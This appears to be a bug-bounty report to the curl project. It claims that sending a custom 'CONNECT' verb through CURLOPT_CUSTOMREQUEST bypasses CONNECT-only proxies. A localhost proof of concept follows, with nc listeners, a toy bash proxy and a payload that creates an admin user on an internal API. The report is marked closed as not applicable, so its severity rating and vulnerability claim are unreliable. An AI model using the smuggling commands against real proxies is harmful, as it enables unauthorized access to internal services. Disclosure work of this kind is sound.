HTTP Proxy Bypass via `CURLOPT_CUSTOMREQUEST` Verb Tunneling
High
C
curl
Submitted None
Actions:
Reported by
alphox
Vulnerability Details
Technical details and impact analysis
### **Summary**
A logic flaw in `libcurl` version **8.14.1** allows an attacker to bypass restrictive HTTP proxy firewalls by "tunneling" an arbitrary HTTP verb within a `CONNECT` request. By setting `CURLOPT_CUSTOMREQUEST` to `CONNECT` for a standard `http://` URL, an attacker can trick `libcurl` into creating a hybrid request. This request is misinterpreted by `CONNECT`-only proxies as a legitimate tunnel setup request and is therefore allowed. Subsequently, `libcurl` sends its request body (e.g., from `CURLOPT_POSTFIELDS`) through this newly established, unfiltered TCP pipe.
This vulnerability effectively defeats network segmentation rules enforced at the proxy layer, enabling an attacker who can control `curl` options (e.g., via SSRF) to send arbitrary data to protected internal services.
| | |
| - | - |
| **Product Name** | libcurl |
| **Affected Version** | **8.14.1** (and likely prior versions) |
| **Vulnerability Class** | CWE-284 Improper access control |
| **CVSS 3.1 Score** | **8.6 (High)** |
| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N` |
### **Description**
The vulnerability stems from insufficient validation between the user-defined request method and the request type `libcurl` assumes it is making when a proxy is in use.
1. When a user provides an `http://` URL and a proxy, `libcurl` prepares a standard, non-tunneled proxy request (e.g., `GET http://destination/... HTTP/1.1`).
2. If the user also sets `CURLOPT_CUSTOMREQUEST` to `"CONNECT internal.host:port HTTP/1.1"`, this custom verb overrides the standard `GET`.
3. The request line sent to the proxy now begins with `CONNECT`, which satisfies the security rules of a proxy that only permits the `CONNECT` method for establishing tunnels. The proxy allows the request and opens a raw TCP connection to the specified internal host and port.
4. Because the original URL scheme was `http://`, `libcurl`'s state machine does not enter its formal "HTTPS tunneling" mode. It proceeds as if it were making a `POST`-style request (due to the presence of a request body) and sends the payload down the TCP pipe that the proxy just opened.
This allows an attacker to send arbitrary data directly to an internal service that should have been unreachable.
### **Proof-of-Concept (PoC)**
This PoC demonstrates the bypass using standard command-line tools. It requires three separate terminal sessions.
#### **Step 1: Set up the "Forbidden" Internal Server (Terminal 1)**
This server listens on port 8081. Its purpose is to receive and display the smuggled payload.
```bash
echo "[VICTIM] Listening on 127.0.0.1:8081..."
nc -l -p 8081
```
#### **Step 2: Set up the Restrictive Proxy (Terminal 2)**
This proxy listens on port 8080 and only allows requests that start with `CONNECT`. It responds with a `405 Method Not Allowed` for any other verb.
* Save this script as `restrictive_proxy.sh` and make it executable with `chmod +x restrictive_proxy.sh`.
```bash
#!/bin/bash
read -r request_line
echo "[PROXY] Received: '$request_line'" >&2
if [[ "$request_line" == "CONNECT"* ]]; then
echo "[PROXY] Verdict: ALLOWED. Opening tunnel." >&2
destination=$(echo "$request_line" | awk '{print $2}')
echo -e "HTTP/1.1 200 Connection established\r\n"
# Pipe the rest of the client's input to the destination
nc -w 5 $(echo "$destination" | sed 's/:/ /')
else
echo "[PROXY] Verdict: BLOCKED. Sending 405." >&2
echo -e "HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n"
fi
```
* Run the proxy in a loop to handle multiple connections:
```bash
while true; do ./restrictive_proxy.sh | nc -l -p 8080; done
```
#### **Step 3: Verify the Safeguard (Terminal 3)**
This command proves the proxy correctly blocks normal `GET` requests.
```bash
# This request should fail.
curl -v --proxy http://127.0.0.1:8080 "http://internal-server.local:8081/status"
```
> **Expected Result:** The proxy will respond with `405 Method Not Allowed`, and the `curl` command will fail. The Internal Server will receive no connection.
#### **Step 4: Craft the Attacker's Payload (Terminal 3)**
Create a file named `payload.txt` containing the data to be smuggled.
```bash
echo -e "POST /api/v1/users HTTP/1.1\r\nHost: internal-server.local\r\nContent-Type: application/json\r\n\r\n{\"username\":\"pwned\",\"is_admin\":true}" > payload.txt
```
#### **Step 5: Execute the Bypass Attack (Terminal 3)**
This command uses the vulnerability to bypass the proxy.
```bash
# This request should succeed in tricking the proxy.
curl -v --proxy http://127.0.0.1:8080 \
--request "CONNECT 127.0.0.1:8081 HTTP/1.1" \
--data-binary "@payload.txt" \
"http://ignored-url.com"
```
#### **Step 6: Observe the Result**
- **Proxy (Terminal 2):** Will print `[PROXY] Verdict: ALLOWED...`, showing it was fooled by the `CONNECT` verb.
- **Internal Server (Terminal 1):** Will stop waiting and print the contents of `payload.txt`, proving the proxy was bypassed and the malicious payload was delivered to the protected internal resource.
> ```
> POST /api/v1/users HTTP/1.1
> Host: internal-server.local
> Content-Type: application/json
>
> {"username":"pwned","is_admin":true}
> ```
### **Impact**
The impact of this vulnerability is **High**. It allows an attacker who can control `libcurl`'s options (a common result of a Server-Side Request Forgery vulnerability) to completely bypass network egress filtering rules enforced by `CONNECT`-only proxies. This can lead to:
- **Internal Network Pivoting:** An attacker can use a public-facing application as a pivot point to send arbitrary commands to internal, non-routable services such as databases, internal APIs, or cloud metadata services.
- **Data Exfiltration:** The established tunnel can be used to exfiltrate sensitive data from compromised internal systems.
- **Firewall and WAF Bypass:** Application-layer firewalls on the proxy that are designed to inspect `GET` and `POST` requests are rendered ineffective, as the attacker's payload is sent over a raw TCP pipe that the proxy is not configured to inspect.
This turns a potentially moderate-risk SSRF flaw into a critical internal network access vector, significantly elevating the overall risk to an organization's infrastructure.
### **Suggested Mitigation**
The logic in `lib/http.c` should be hardened to create a stronger link between the URL's scheme and the allowed HTTP method when a proxy is in use. A recommended fix would be:
If an `http://` URL is used with a proxy, `libcurl` should explicitly forbid `CURLOPT_CUSTOMREQUEST` from being set to `CONNECT`. The `CONNECT` method should only be used by `libcurl`'s internal tunneling logic when an `https://` URL is being proxied, and it should not be a user-controllable verb for standard `http://` proxy requests. This would close the logical gap that allows this bypass.
## Impact
## Summary:
The impact of this vulnerability is **High**. It allows an attacker who can control `libcurl`'s options (a common result of a Server-Side Request Forgery vulnerability) to completely bypass network egress filtering rules enforced by `CONNECT`-only proxies. This can lead to:
- **Internal Network Pivoting:** An attacker can use a public-facing application as a pivot point to send arbitrary commands to internal, non-routable services such as databases, internal APIs, or cloud metadata services.
- **Data Exfiltration:** The established tunnel can be used to exfiltrate sensitive data from compromised internal systems.
- **Firewall and WAF Bypass:** Application-layer firewalls on the proxy that are designed to inspect `GET` and `POST` requests are rendered ineffective, as the attacker's payload is sent over a raw TCP pipe that the proxy is not configured to inspect.
This turns a potentially moderate-risk SSRF flaw into a critical internal network access vector, significantly elevating the overall risk to an organization's infrastructure.
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable
Submitted
Weakness
Improper Access Control - Generic